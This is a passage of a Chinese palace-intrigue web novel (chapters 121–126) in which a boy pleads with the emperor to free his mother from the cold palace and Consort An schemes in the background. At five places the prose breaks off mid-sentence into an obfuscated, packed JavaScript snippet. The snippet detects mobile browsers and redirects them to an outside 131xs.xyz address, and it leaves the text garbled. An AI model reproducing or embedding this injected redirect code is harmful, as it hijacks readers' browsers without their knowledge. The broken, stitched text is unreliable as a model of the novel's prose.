芙蕖心里也是慌的厉害,她低声对着贺云瑄道:“小公子,奴婢就帮你到这里了,别的忙,奴婢可是帮不上了。” 她就是得给贺云瑄提个醒,不然这小祖宗万一把她推出去和陛下谈条件,她是开不了那个口的。 贺云瑄点了点头,一双小手背在身后,硬生生的摆出了一个小大人的模样,就这么静静的等着张公公的到来。 一看到他,张公公的眉头上都露出了明显的沟壑,他对着芙蕖道:“哎呦,你不要命了,你把他带出来做什么?” 他看也不看贺云瑄,连声音里都好像还带着晦气。 就算陛下往冷宫跑的再勤,他也知道陛下在意的只有晋娘娘,从来与面前这个无关。 这样的语气贺云瑄从小听到大,甚至他都不用抬头,就能想象到张公公这会儿是多么嫌弃的神色。 他其实早就听得习惯了,这会儿面上更是无波无澜,只是一本正经的道:“我有我娘亲的事,想要与陛下说,你带我去见他。” 小孩个子不高,不管是模样还是声音,都带着稚嫩。 可听他这么一开口,张公公竟然能感觉到几分压迫力,这样的气势,他好像只从陛下那里感觉到过。 张公公刚想推辞,贺云瑄就又说:“你一直在陛下身边,应该知道我娘亲对陛下的重要,关于她的事,你确定要知情不报吗?” 贺云瑄其实也不太笃定,贺江灈对晋明鸢到底是什么样的态度。 只是他放着那样高的身份,可以纡尊降贵的来冷宫劈材做饭,好像就说明他对晋明鸢确实不同于其他嫔妃。 贺云瑄猜的很对。 张公公确实不敢替贺江灈直接回绝晋明鸢。 他很快就松了口:“你先等一会,我去通报陛下。” 不出一盏茶的功夫。 张公公就去而复返,小心翼翼的将贺云瑄请进了门儿,这会儿对贺云瑄的态度都好了许多。 不管这位再如何的不讨喜,他背后的那个晋娘娘都不容小觑。 陛下如今连子嗣都没有,若是真与晋娘娘重修就好,还真说不定…< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578432|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>被引进了泠竹苑的正殿,贺云瑄站在门口,与坐在主位上的男人目光相撞。 虽然早就知道了对方的身份,但这也是他第一次看到这人身上龙袍穿的整齐,一派威严的模样。 两双过分相似的目光撞在一起,是贺云瑄先躬身行礼:“参见陛下。” “你似乎对朕的身份一点也不惊讶。”贺江灈手撑着脑袋,目光冷凝的睨着面前这个成熟的不像孩子的小孩。 贺云瑄说:“您也没有刻意对别人隐瞒,察觉到异常很容易。” “说说吧,你来找朕做什么?”贺江灈问。 这里就只有他一人,安妃应该是在内殿,没有出来。 就连芙蕖都被赵公公带了出去。 周围静悄悄的,只有一大一小,两个模样相似的人无声的对峙。 贺云瑄说:“我娘亲想出冷宫,我来替她向您求一个恩典。 我知道你不喜欢我,你的便宜我也不占,只要你能让我娘亲出冷宫,做个贵妃,我可以自愿离开皇宫,绝对不会碍你的眼。” 在桌面上轻轻敲击的手指顿住了。 贺江灈看着贺云瑄那一张过分认真的脸,他薄唇轻启,吐出两个字:“撒谎?” “没有,我可以为了娘亲离开皇宫,不碍你的眼,千真万确。”贺云瑄又说。 他很清楚,如果娘亲真的离开了冷宫,这人也未必能再让他与娘亲见面。 而如果他一直困在冷宫里,就永远是这世间无足轻重的浮萍,倒不如离开这座皇宫,说不定还能寻些别的门路。 他会做饭,能干活。 他肯定能养活自己。 他的娘亲不太聪明,太容易被人算计。 他得努力长大,然后保护娘亲。 “还在撒谎,据朕所知,阿鸢从来就没有想要离开冷宫的想法,说说吧,你跑这儿来谎话连篇的到底想做什么? 你这个小鬼别以为有阿鸢护着,就能挑衅朕,别异想天开了,朕懒得与你卖关子,直说吧。”贺江灈说。 第122章 要阿鸢自己说 压迫感好像伴随着男人的声音,从四面八方的袭来。 贺云瑄依旧很是固执地抬起眼睛和男人对视。 他说:“你说的很对,这不是我娘亲的想法,是我的想法。 我娘亲明明很好,可是在你别的嫔妃都穿金戴银,高高在上的时候,她却连件好看的衣裳都没有,吃饱穿暖都是问题。 我长这么大,从来都没有见过她戴钗环。 我听说你让她进冷宫,是因为我,那是不是我离开,就能让她当贵妃?” 贺云瑄又一次强调了贵妃这个位分。 虽然娘亲曾经是这个人的正妻,可是毕竟经历了这么多年,皇后这个位置又事关重大,他很清楚,直接讨皇后之位,怕是不可能。 所以他干脆退了一步,将目光放在了贵妃上。 之前的贵妃被贬作清妃,现在宫里位分最高的就是清妃,安妃和姜妃。 姑且不论另外两个是什么心思,但姜妃是与他娘亲一心交好的,协力六宫的权力也在姜妃手里,如果他能直接给娘亲讨来这个贵妃的位置,那么就算自己离开了,娘亲在这宫里也不会被任何人压一头。 “这只是你自己的想法。”贺江灈说,“如果你没有别的事,就让张康全送你回去,以后不要再打着阿鸢的幌子做事。” 对于贺云瑄这个提议,他是真的一点儿也没有上心。 可贺云瑄却不依不饶:“为什么?明明你也是在意娘亲的,不是吗?为什么就不能让她从冷宫里出来? 难道您对他的心意还不如一个贵妃的位分,重要吗?” “激将法玩的挺溜,可惜朕不吃这一套。”贺江灈说。 他站起了身,长腿迈开,一步一步的走向了贺云瑄,伴随着他逼进,贺云瑄能听到他身上玉佩碰撞的叮咚声响。 脚步固执地钉在原地,贺云瑄一步不退,他继续激他:“还是说你其实根本不在意娘亲,隐姓埋名跑到冷宫,只是您这个皇帝无聊时打发时间的消遣。 就是因为不在意,所以连一个贵妃的位分都不舍得给。” “蠢货,你不会以为你很聪明吧?跟你那个蠢货爹一样蠢。”贺江灈忽然嗤笑一声,他道,“跟朕谈条件,还敢耍小心思,谁给你的底气? 以退为进,自愿出宫,以此让阿鸢心里永远记得你,让她出来冷宫日日记恨朕,小小年纪,藏这么深的心思,你该不会以为能瞒过朕吧?” 他忽然弯下了腰,大片的阴影照在贺云瑄的头顶,让贺云瑄有些心虚。 喉咙滚动,轻轻咽了咽口水,贺云瑄的眸光都有些闪烁。 他确实… 想让娘亲借这个人的势,又不希望娘亲与这个人完全重修就好。 如果自己离开的话,娘亲就会记得,是因为这个人才让他们母子分离的。 他本来以为,这人那么讨厌他,只要他自己提出要走,他一定不会反驳的。 可到底是没想到… 贺云瑄小声咕哝:“我哪里有你说的那般算计,我只是想让娘亲好。 再说了是你自己讨厌我,我不碍你的眼,难道还有错了?” 他略微抬眼,又一次和贺江灈的视线相撞。 刚才他骂人的话,他听的真切。 他好像听到他骂他爹是蠢货。 难道这个人与他那个所谓的爹还有些渊源?不然为什么他好像很了解那人的模样? 贺云瑄这会儿实在是茫然的厉害。 他从来没有探究过自己那个素未谋面的爹,这会儿看着面前的贺江灈,他忽然就有些好奇。 当**到底是怎么弄的? 面前这个人如果不是自己的亲爹,为什么自己与他长得却那么像? 还有他曾听说,这人与娘亲曾有一段伉俪情深的时光,他们又到底为什么会分开? 又或者… 他娘亲真的是自愿与别人生下他的吗? 黑黝黝的瞳孔里一片深邃,小小的手在袖子里攥成了拳头。 不管真相如何,他都得弄清楚。 就算不在意那个所谓的爹,他也得知道到底是谁让他娘在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581629|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷宫受了五年的苦。 一片沉寂之后,还是贺云瑄先说:“你不想见我,我自己离开你也不乐意,既然这样,不如你来开条件,怎样才能让我娘亲离开冷宫?” “等她自己想离开的时候。”贺江灈这回没有卖关子的意思,直接给了贺云瑄一个答案,倒是让贺云瑄的脸色垮下去些许。 如果他娘亲真的有这样的心思。 又哪里需要他偷偷的跑出来与这种不敢相处的人谈条件? 这回轮到贺云瑄沉默了。 轻微的脚步声响起,安妃柔柔弱弱的从内殿出来,她看了一眼僵持不定的二人,眼波稍稍流转:“陛下,您这是同意晋娘娘出冷宫了? 臣妾觉得也是,如今宫里不太平,冷宫这边又实在偏僻,晋娘娘遭受了这么多苦难,连记忆都没有了,瞧着就让人心疼。 这紫宸殿旁边的邀云宫离您最近,也是宫里除了凤栖宫最繁华的地方,臣妾觉得晋娘娘应该会喜欢。” 明明晋明鸢要出冷宫的事,根本就没有个定论呢,这安妃一开口直接就挑上宫殿了,别管贺江灈,就是贺云瑄也是惊讶的看着她。 贺云瑄还以为自己开口就讨贵妃的位分已经很大胆了,哪成想这里还有一个比自己更大胆的。 而且还是在贺江灈刚拒绝了他的提议的时候。 他可不相信安妃刚才什么都没听见。 安妃还是笑意盈盈:“晋娘娘喜欢热闹,邀云宫离着紫宸殿近,陛下还能常常顺路去看晋娘娘,陛下觉得如何呢?” 明明提的是晋明鸢的事,可贺云瑄总觉得。这个安妃笑的好像比给她自己选宫殿还要高兴。 他垂着眸,也思索着安妃的提议,离紫宸殿最近的地方,宫里最繁华的地方,那肯定也是心存歹念之人最不好动手的地方。 贺云瑄认真的将邀云宫这个地名记在了心里。 这次看来未必能成,没事,大不了他下次再来,这个邀云宫他给娘亲要定了。 他的娘亲竟然要从冷宫出去,就得去最好的地方。 第123章 邀云宫是什么样子的 贺云瑄从泠竹苑里出来的时候,芙蕖已经吓出了一身冷汗。 看到他没有事,才重重的松了一口气。 索性两个人回到冷宫的时候,晋明鸢和姜妃还没有出来。 柳枝已经将开水都烧好了。 贺云瑄泡好了茶,又像是没事人一样端到了自己屋里。 随便抽查了几本账本之后,姜妃早就是目瞪口呆。 她自己是真的没有想到,只是随手把这个麻烦的东西抛给贺云瑄,结果对方竟然真的给她算的妥妥当当,甚至她不太相信,抽查了好几本,竟然真的完全没有错误。 甚至很多可能有问题的地方,贺云瑄还都在旁边给她批注了下来,就算笔记有些稚嫩,但准确度却毫无问题。 以至于看到贺云瑄进来的时候,她直接扑过来捏了捏小孩刚长了一点肉的脸:“天哪小瑄瑄,你莫不是个天才,真是给姨姨省了不少事,姨姨简直要爱死你了。” 贺云瑄皱着眉,稍稍躲了过去,将茶水放到了晋明鸢面前:“娘亲,喝茶。” 他心里还藏着邀云宫的事,对于姜妃的态度,并没有怎么放在心上。 倒是姜妃自己又凑了过来,低着头在贺云瑄身上嗅了嗅,很快她就有些疑惑道:“咦,你身上怎么会有竹叶香?你是不是去隔壁了?” 泠竹苑之所以叫泠竹苑,是因为院子里确实种了一片郁郁葱葱的竹林。 但是竹子的香味素来浅淡,贺云瑄根本没放在心上,却没有想到姜妃竟然这么敏锐。 表情有些微的凝滞,但他很快就压了下去:“姜姨姨在说什么?云瑄听不懂,我从来都没有出过冷宫,怎么可能会去隔壁呢?” “没出过吗?”姜妃又有些怀疑。 贺云瑄点头:“那个陛下不许,谁敢放我出冷宫呀,我怎么可能出得去?” 姜妃脸上渐渐多了几分信任,说的也是,晋姐姐若是出冷宫,还可以换上宫女的衣服。 贺云瑄那个子在那里摆着呢,这宫里又没有什么孩童。他确实不好混淆视听。 而且今日那贺江灈跑去了泠竹苑,贺云瑄确实也没有必要去那里。 思至此,姜妃道:“没去就好,隔壁那个安妃心眼子多的很,你一个小孩还是少和她接触的好,否则哪天说不准就被坑的渣都不剩了。” 贺云瑄没有接她这句话。 脑海里浮现着的却是安妃替娘亲说话的模样。 好像比起自己来,安妃也格外希望娘亲出冷宫。 姜妃还在絮絮叨叨,本来也只是说起安妃,到后来就不知道怎么发展成了这宫里没什么好人。 恨不得耳提面命的将所有事儿一股脑的都灌进贺云瑄的脑海里。 晋明鸢在旁边无奈道:“姜妹妹,云瑄由我看着,定是不会随便与什么心怀不轨的人接触,你便不要与他说那么多了。” 晋明鸢一直都觉得,贺云瑄实在过于成熟了,没有人给他灌输什么的时候尚且如此,若是再因为安妃的这些话,变得更加谨小慎微了,她得心疼死。 她虽然没有什么能耐,但是在冷宫这方寸大的地方,保护自己的儿子不被别人欺负还是可以做到的。 姜妃也意识到自己说的有些多了。 她讪讪的闭了嘴。 茶水倒入杯盏,茶香味儿在空气里漾开,在一片的寂静之中,贺云瑄忽然说:“姜姨姨,邀云宫是什么地方?” “你怎么会知道这里?”姜妃道。 “刚才听芙蕖她们提起,邀云宫是除了皇后的寝宫外最繁华的地方,那里是不是真的金银铺地,珠宝砌墙,我什么时候可以过去看一看?” 他抬起眼来,那张总是一本正经的脸上难得的浮现出了好奇之色。 姜妃脸上的那几分质疑渐渐的消散了。 小孩子从记事起就没有出过冷宫,当然听说了旁的地方好奇也是应该的。 姜妃说:“哪有你说的那么夸张,其实也就是普通的宫殿罢了,之前是先帝最宠爱的贵妃住的地方,陛下登基之后,那儿就闲置了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581630|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,若真说哪里好,可能也就离紫宸殿最近了。 那些有心思想要争宠的女人,自然觉得那个地方最好,不过对我来说,那种破地方,人来人往的,哪里及得上我们幽兰馆素净? 如果你真的很好奇的话,改天若是有了机会,我带你过去瞧瞧也是可以的。” 姜妃说了一大堆,到最后贺云瑄也就记住了一句人来人往。 看来安妃说的果然没错,那个地方确实挺繁华热闹的。 贺云瑄又问:“陛下之前不是有个贵妃吗,为什么当初贵妃没有住进邀云宫? 听说之前陛下对贵妃也很是宠爱的,这么好的地方怎么没给她?” 姜妃冷笑道:“她倒是想要,只是…” 话到了一般,姜妃看了贺云瑄一眼:“怎么忽然又提起她来了?” “那不是好奇吗?姜姨姨刚才也说了,邀云宫是宠妃的宫殿,她之前不就是吗?为什么她没能住进去?”贺云瑄不依不饶的又问了一句。 姜妃这回也没有怀疑什么,嗤笑一声:“她算是拿门子的宠妃,就那个贵妃的位分都来的不明不白的。 尤其是这些年她当了贵妃之后,一天三趟的给陛下送什么补汤,送什么糕点,恨不得长在从玉粹宫去紫宸殿的路上。 依我看呀,当时陛下之所以不愿意把邀云宫给她,就是嫌她烦,去紫宸殿跑的太勤。” 姜妃喝了一口茶,又补充了一句:“这宫里哪个算得上宠妃呀,满打满算,见过陛下超过十面的,那都是屈指可数。” 贺云瑄眼珠转了转,若是按照姜妃这话所说的,那个人嫔妃是多,好像他确实哪个都不怎么在意。 贺云瑄想了想,他又问:“姜姨姨,如果我娘亲想要进邀云宫,你觉得可能吗?” 哐当一声,茶盏被姜妃重重地放到了桌案上。 她说:“你今日打听这么多,到底在打什么主意?” 语气都严肃了许多,她眼睛里收了玩味,就这样认真的盯着贺云瑄的脸。 第124章 她儿子真看得起她 姜妃平日里不靠谱,但是真的脸色冷下来的时候,还是很吓人的。 贺云瑄抿了抿唇,很快就是一幅面无表情的神态,很是认真的道:“我只是好奇而已,你说这宫里没有宠妃,我娘亲和那些人比是什么样的地位呢?” 姜妃这回没有马上说话,她的目光落在了晋明鸢的身上。 四目相对,晋明鸢点了一下贺云瑄的脑袋:“又胡思乱想了,就咱们这样的身份,即便这宫里没有宠妃,你娘亲也跟人家比不得呀。” 贺云瑄揉了揉额头,心底也很是无奈。 他娘亲好像到现在为止,依旧在状况之外,甚至一直都不愿意相信,那个人就是皇帝。 贺云瑄沉吟不语,晋明鸢又对着姜妃道:“真是让姜妹妹见笑了,这小子也不知怎么回事,近来就是有些癔症,前两天还做梦呢,说他爹是皇帝。 这种事儿咱们自己听听也就算了,若真的是传了出去,那还了得?” 晋明鸢一直都是半开玩笑的语气,她只觉得贺云瑄说的话总是很荒唐,很好笑。 但姜妃的神色已经渐渐的凝重了起来。 她先是对着晋明鸢应付一句:“晋姐姐说的是,这种话可不能乱说。” 随后她又拉了一下贺云瑄的胳膊:“你跟我过来一下,我得与你说道说道这宫里的规矩,可不能因为口不择言引火上身。” 晋明鸢道:“姜妹妹是不是太紧张了?这里就只有咱们,云瑄也不会去外面乱说的,他已经够懂事了,没必要对他那么严肃。” 一涉及到自己的宝贝儿子,晋明鸢就是格外的心软。 姜妃说:“晋姐姐莫要担心,我只是提醒他两句,不会凶他的。” 她又拽了一下贺云瑄的胳膊,贺云瑄神色淡淡的跟着她出了门。 才到了院子里,姜妃就道:“你到底想做什么?与晋姐姐说那些做什么? 你该不会被他收买了,想让晋姐姐与他和好吧?我告诉你不可能。 当年执意要娶晋姐姐的是他,娶了之后又把晋姐姐抛在冷宫的也是他,你别忘了晋姐姐做得一切都是为了你,反倒是他从来没在意过你。 若你真的敢趁着晋姐姐失忆的时候,哄晋姐姐与他和好,我不会饶了你的。” 她在质问贺云瑄的时候,已经完全不把贺云瑄当成一个小孩了。 这幅剑拔**张的态度,就好像是之前面对清妃那般。 贺云瑄说:“姜姨姨,你多虑了,我怎么会找个莫名其妙的人来与我抢娘亲呢?” “可刚才晋姐姐不是说,你把他的身份告诉晋姐姐了吗?”姜妃问。 “我那不是给娘亲开玩笑吗?你看娘亲也没有信吧,姜姨姨,是你太紧张了。”贺云瑄说。 姜妃瞳孔有些闪烁。 确实是她太紧张了,紧张到有点草木皆兵。 这些年来她不止一次的在想,如果当初她没有倔,没有故意怄气,忍着那赵清吟在晋姐姐身边的话,是不是当年,就可以与晋姐姐一起离京。 就可以知道晋姐姐生下贺云瑄的真相。 而不是像现在这样,眼睁睁的看着晋姐姐进了冷宫无能为力,听着所有人都管贺云瑄叫野种也拿不出什么证据给她们正名。 尽管她始终相信,晋姐姐不可能做那等荒唐事。 可她一个人的信任,又哪里能还晋姐姐清白。 她现在不仅担忧当**又一次发生,也担忧这个让晋姐姐费尽心思保下来的孩子最后会听信谗言,做出什么对晋姐姐不好的决定。 姜妃就这样盯着贺云瑄。 贺云瑄又说:“娘亲是我最重要的人,我的所有决定,都是把娘亲放到第一位的。” 姜妃的脸色终于缓和了些许,她轻轻揉了揉贺云瑄的脑袋:“你能这么想就对了,是他对不起晋姐姐,晋姐姐就不该和他重修旧好。 云瑄,你记得你是晋姐姐身上掉下来的一块肉,是她千辛万苦把你生下来的,你永远都要与她一条心。” “那是当然。”贺云瑄说。 哪怕他动了要把娘亲送出冷宫的心思,也从来都没有想过帮娘亲与那个人和好。 姜妃没有在冷宫待太久,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591349|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开了。 贺云瑄一回来,晋明鸢就问:“你姜姨姨与你说什么了?” “没说什么,就是让我事事谨慎,别随意相信人之类的。”贺云瑄道。 晋明鸢点了头,又温和道:“我们云瑄聪明,就算没有人叮嘱,也知道应该做什么。 你不用把这些话太放在心上,娘亲只希望你快快乐乐的。” 贺云瑄像是把她的话听进去了,片刻之后,他忽然上前挽住了晋明鸢的胳膊:“娘亲,你能带云瑄看看邀云宫吗?” “啥?”晋明鸢直接惊讶的失声惊叫,一双眼睛愣愣的看着贺云瑄,“你这是又想到啥了,你娘亲咋来那么大本事?” 她这个儿子也不知怎么回事,平日里乖的很,也不会提要求,可这一提,就是这么一个让她觉得比登天还难的事。 她现在真是怀疑,自己在云瑄心里的印象到底是怎么样的? 继上次这孩子一口咬定她那个奸夫是陛下之后,竟然现在还理所当然的觉得她能带他进邀云宫。 这真真是太看得起她了。 一个连贵妃都进不了的宫殿,他凭啥觉得她能进呀? 贺云瑄又道:“好不好嘛娘亲,云瑄就是想去看看宠妃住的宫殿,和咱们这里有什么不同嘛。 这样把娘亲,你给陛下写一封信,我们让芙蕖送过去,说不定他就同意了呢?” 话说着,他已经在晋明鸢面前铺开了宣纸,连笔墨都推了过来,就等着晋明鸢落笔了。 晋明鸢人都是木的,直接把贺云瑄递过来的笔扣在了桌上,她说:“真是胡闹,我提要求他就能同意啊,快别闹了,你若是真想看什么邀云宫,以后娘亲偷偷带你去就是,咱们别做这种不切实际的梦了。” 贺云瑄说:“可我就想光明正大的,我第一次给娘亲提要求,只是写封信的事而已,娘亲不能不答应吧? 成与不成的,先试试总行吧? 娘亲该不会连试都不愿意为了云瑄试吧?” 那个人可是承认了,只要娘亲亲口提起这事儿,他就同意娘亲出冷宫。 第125章 总要有人来争宠 晋明鸢到底没有落下笔,因为安妃忽然来了冷宫。 她一身素衣,身形单薄如纸,苍白的脸在月下仿若鬼魅。 春樱一手搀扶着她,一手捧着一个托盘。 看到这二人的时候,贺云瑄和晋明鸢都很是惊讶。 尤其是贺云瑄,在不知安妃来意的情况下,他实在是担心安妃会将他去过泠竹苑的事告知晋明鸢。 “安妃,你怎么来了?”晋明鸢与安妃算不上太熟,看到她的时候还有点警惕。 安妃说:“给晋娘娘送些东西,然后有些事也想与晋娘娘聊一聊。” 她声音很低,很虚弱,有一种气若游丝的感觉,好像随时都能倒下去一样。 一看就是病的厉害。 能让她这时候还强撑着身子来找自己聊,必然是大事,晋明鸢自己扶着安妃坐了下来,又让贺云瑄给她倒了杯水,才催促道:“你有话就直说吧?” 安妃现在这幅姿态,活像随便一阵风就能把她吹倒一样,让晋明鸢也不住的担忧,她会不会倒在自己院里。 安妃说:“是这样的晋姐姐,这不是马上快要冬天了吗?宫里的嫔妃们都忙着给陛下绣过冬的龙袍呢。 我知道晋姐姐这里什么都没有,所以便给姐姐带了些布料过来,姐姐留着用吧。” 其实陛下的衣服,自然有尚衣局管着。 可是每当换季的时候,还是有很多嫔妃亲自给他做新衣,说白了就是为了争宠,为了吸引陛下的注意。 尽管这些年也没见哪个成功,但这个风气却一直都这么延续着。 春樱把托盘打开,里面放着的是一匹匹晋明鸢连名字都叫不上来的上好的布料。 她有些恍惚的推辞道:“安妃是不是想错了,给陛下做龙袍那种事,哪里用得着我来? 人家那些嫔妃忙着争宠,我一个在冷宫里的人掺和什么?” 先不说她自己都不知道自己会不会针线活,就单说自己这个身份,跑出去横插一脚,晋明鸢都觉得说不过去。 她真不知道今日到底是怎么了,她儿子也好,安妃也好,这一个个的,怎么都把她往那个陛下跟前推? 安妃说:“做这些并非完全是争宠,晋娘娘好歹也是陛下的嫔妃,若是陛下知道你有这份心意的话,定是会庇护你与这孩子一二的。 这宫里什么都不如陛下的庇护最有用,不是吗? 东西我已经给晋姐姐带来了,晋姐姐用不用就看你自己了。” 晋明鸢还是觉得这事很古怪,但安妃没有多说什么,就直接离开了。 徒留晋明鸢自己看着那些布料发愣。 而贺云瑄则是想到了在泠竹苑里,安妃那些有意无意的在赞同娘亲出冷宫的话。 现在看来,这些布料也是她在帮忙把娘亲推出冷宫。 贺云瑄翻看着那些布料,不管是哪一批都材质非凡,就算他不了解这些,也知道这东西定是价格不菲。 贺云瑄说:“娘亲,要不然你试一试吧? 写信你不肯,做衣服总可以了吧,说不定陛下就看在你一番辛劳的份上,便同意咱们去邀云宫玩儿了呢?” “不是,你小子怎么对邀云宫的事,就这么执着呀?那种地方偷偷去也就算了,想光明正大的去,咋可能?”晋明鸢道。 贺云瑄真的很少对什么东西表现出这么大的兴趣。 这个邀云宫被他一次次的提起,晋明鸢既不舍得拒绝儿子的要求,又觉得很是荒唐。 贺云瑄说:“试试嘛娘亲,你就为云瑄试一试好不好?” 一双黑黝黝的大眼睛里看带着恳求,只把晋明鸢的一颗心都看的化了。 晋明鸢哪里舍得拒绝,终于硬着头皮道:“试试就试试,不就是做个衣裳吗,为了我们云瑄,娘亲试着学。 只是能不能去邀云宫…” 晋明鸢心里有点没底,但她又想,只是去看看而已,又不是住进去,应该也没问题吧。 那皇帝总不至于小气到连看都不让人看的。 贺云瑄说:“就知道娘亲最疼我了,那娘亲你先学着,我去给你倒水。” 不管是他让娘亲写信也好,还是安妃这会儿送来的布料也好,说白了其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591350|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实都是为着男人的那一句话,只要娘亲亲自开口。 如果那个人不是在说谎的话,那这个龙袍不管做成什么样,娘亲都能离开这里。 此事泠竹苑里,安妃一回去,先是呕了一口血。 春樱见状,已是吓得魂不守色:“娘娘,您还好吗?姜妃不是给了您解药吗?您为什么不用?要不奴婢还是给您拿过来吧?” 安妃摆了摆手:“用不得,姑母还在病着,我绝不能提前好起来。” 虽然吃了药之后,她还是可以卧床不起装病,可是她那个姑母毕竟太敏锐了,她不能露出一点破绽。 春樱不满道:“那个姜妃实在是太嚣张了,如果不是她胡作非为的话,昨夜就该把定明侯扣下了,娘娘也不至于受这么多的苦。 而且她多此一举这么一招,到头来陛下不还是不想打草惊蛇?反倒是…” “够了,春樱,谁给你的胆子,让你妄议陛下的决定?”安妃道。 “奴婢只是为娘娘委屈。”春樱说。 “我委屈什么,至少现在陛下已经开始信任我了,这样就够了,好了,这件事不许再提了。”安妃说。 春樱应下。 又很是疑惑的提了另一件事:“奴婢一直不懂,娘娘为什么要鼓励晋娘娘出冷宫?” 安妃说:“总要有人来争这个宠,如果她不出去,难道还要我去吗? 姑母总是认不清现实,以为扣住了一个清妃,我就能留住陛下。 可陛下最在意的从来都不是清妃,我就是要让姑母看清楚,陛下真在意一个人的模样,如此她便也不会这般不切实际的推我出去争这个宠了。” 她低着头,把玩着自己手腕上的一枚白玉镯,神色晦暗不明。 争宠从来都不是她想选择的路。 陛下心里有人,这个宠,又哪里那么好争? 可偏偏她的姑母不在意,总觉得是她不够努力。 她就只能让姑母看看陛下的心思了。 安妃说:“去吧,去告诉陛下,晋姐姐问我要了些布料,说要亲手给陛下做龙袍。” 第126章 真是亲自绣的? 贺云瑄又重新泡了一壶茶,再回来的时候才发觉让晋明鸢学着做龙袍,实在是太看得起她了。 虽然说他之前已经安抚过自己,不管晋明鸢做成什么样子,那个人应该都不会嫌弃,可真的亲眼看到好好的一匹布被剪的一塌糊涂,就连那些彩色的丝线也全都藏在了一起,他也是目瞪口呆。 安妃办事很是周到,在那布匹下边,还压了一卷缝衣服的书,晋明鸢也确实是把书翻开了。 她好像也一直都是对着书上做的。 可贺云瑄看着不断打结的丝线,看着一塌糊涂的布,他将茶水放下,抚了抚额:“娘亲,你…” 话还没有说完,是晋明鸢有些尴尬的道:“小瑄瑄,我说我不会缝衣服,你信吗?” 信,还有什么不信的? 贺云瑄不禁想到,他娘刚刚失忆的那天,也是这样自告奋勇地闯进了厨房,然后又被烟呛的跑了出来。 那时候她好像也是这种尴尬的表情。 贺云瑄拿过了那卷书,他拧着眉看了看:“娘亲你先喝点水歇歇,我来试试吧。” 他之前也没有接触过这些,但是看画上的图解好像也没有那么难。 反正这里就只有他与娘亲两个人,他帮娘亲的话也没有人会知道的。 晋明鸢被挤到了一边。 她瞧着自家儿子一本正经的拿过了针线,很快就把她缠的乱七八糟的视线都捋得顺了。 屋里的烛火摇摇晃晃,打在银针上,映出点点荧光,正照在小孩的脸上。 他那稚嫩的五官和现在拿着针线的动作很是不搭。 晋明鸢不好意思的道:“云瑄,娘亲是不是太笨了?什么都不会。” 贺云瑄微微偏头看她,很快他腾出一只手来,拍了拍晋明鸢的肩膀,小大人一样的安抚:“怎么会呢娘亲,你有我呀。 你费尽全力的将我生下来,就应该我来照顾你。” “可…”晋明鸢看着他那张认真的脸,总觉得有点不对劲。 贺云瑄又说:“娘亲什么都不会,说明之前外公外婆把娘亲照顾的很好。 现在他们都不在娘亲身边,我也会把娘亲照顾得很好。” “这…”晋明鸢的脸更红了。 他儿子还这么小,就这么信誓旦旦的说要照顾她,说到底还是她这个做娘的太失职了吧。 晋明鸢难得有些羞愧,她小声的嘀咕道:“可别人的娘亲肯定不是这样的,都是我的错,我…” “娘亲何必这么说呢,娘亲明明可以保护我呀,你保护我,我照顾你,这不是很正常的事吗? 我不知道别人的娘亲是什么样的,但我知道我的娘亲是最好的。”贺云瑄说。 说话间他低着头穿针引线,动作也一点都没耽搁。 明明是不在意的语气,可瞳孔深处却有些许恍惚。 